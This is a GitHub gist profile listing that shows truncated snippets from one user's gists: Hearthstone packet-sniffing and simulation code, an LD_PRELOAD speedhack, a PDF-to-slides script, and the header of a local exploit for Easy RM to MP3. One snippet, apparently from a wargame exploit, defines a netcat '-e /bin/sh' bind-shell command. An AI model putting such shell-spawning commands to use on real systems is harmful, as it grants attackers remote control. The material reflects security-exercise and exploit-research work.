Skip to content

Instantly share code, notes, and snippets.

View synap5e's full-sized avatar

Simon Pinfold synap5e

View GitHub Profile
using System;
using System.Collections;
using System.Collections.Generic;
using System.ComponentModel;
using System.IO;
using System.Net;
using System.Reflection;
using System.Runtime.Serialization.Formatters.Binary;
using System.Text;
using System.Threading;
#!/usr/bin/env python2
# encoding: utf-8
import sys, time, binascii, struct
import pdb
import scapy.all as scapy
from scapy.all import IP, TCP
from hexdump import hexdump
import hsproto_pb2 as hsproto
import sys; sys.path.append("./fireplace")
from fireplace import utils, cards, targeting
import fireplace
from fireplace.cards import heroes
from fireplace.player import Player
from fireplace.game import BaseGame, GameOver
from fireplace.card import Minion
from fireplace.enums import CardType, GameTag
from collections import defaultdict
class Branch:
def __init__(self, **kwds):
self.__dict__.update(kwds)
def possible_actions(game):
for card_index, card in enumerate(game.current_player.hand):
if card.is_playable() and card.id != WISP: # wisps are the deck filler
if card.has_target():
for target_index, target in enumerate(card.targets):
new_game = copy.deepcopy(game)
#!/usr/bin/env python
import sys; sys.path.append("..")
from fireplace.cards.heroes import *
from test_main import prepare_game
IMP_GANG_BOSS = 'BRM_006'
IMP = 'BRM_006t'
#!/usr/bin/env python2
target = ('127.0.0.1', 20003)
command = ['/bin/nc', '-e/bin/sh', '-lp31337']
"""
ltrace -i -p `ps -Af | grep level03 | grep -v -e grep -e python | tail -n 1 | cut -c 9-16`
echo attach `ps -Af | grep level03 | grep -v -e grep -e python | tail -n 1 | cut -c 9-16` > .gdbinit && gdb -q -iex "set auto-load safe-path /home/simon/Desktop/fusion"
"""
@synap5e
synap5e / speedhack.cpp
Created February 10, 2014 12:10
A quick hack that allows using LD_PRELOAD for a speedhack
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
typedef int (*go)(struct timeval *tv, struct timezone *tz);
# This array is used to encode and decode the resource files
data_key = [
0x00001092, 0x0000254F, 0x00000348, 0x00014B40, 0x0000241A, 0x00002676,
0x0000007F, 0x00000009, 0x0000250B, 0x0000018A, 0x0000007B, 0x000012E2,
0x00007EBC, 0x00005F23, 0x00000981, 0x00000011, 0x000085BA, 0x0000A566,
0x00001093, 0x0000000E, 0x0002D266, 0x000007C3, 0x00000C16, 0x0000076D,
0x00015D41, 0x000012CD, 0x00000025, 0x0000008F, 0x00000DA2, 0x00004C1B,
0x0000053F, 0x000001B0, 0x00014AFC, 0x000023E0, 0x0000258C, 0x000004D1,
0x00000D6A, 0x0000072F, 0x00000BA8, 0x000007C9, 0x00000BA8, 0x0000131F,
0x000C75C7, 0x0000000D
#!/usr/bin/python
import sys, os
from wand.image import Image
from pptx import Presentation
from pptx.util import Px
pdf = sys.argv[1]
landscape_crops = [
@synap5e
synap5e / easy_rm_to_mp3_2_7_3_700_dep_aslr_exploit.py
Created November 10, 2012 21:29
Easy RM to MP3 Converter - ".m3u" Windows 7 DEP + ASLR Local Exploit
#!/usr/bin/python
# Easy RM to MP3 Converter - Windows 7 DEP + ASLR Local Exploit
# Version 2.7.3.700 on Windows 7
# Tested: Windows 7 Ultimate SP0 - English
# Author: Simon Pinfold
import struct, os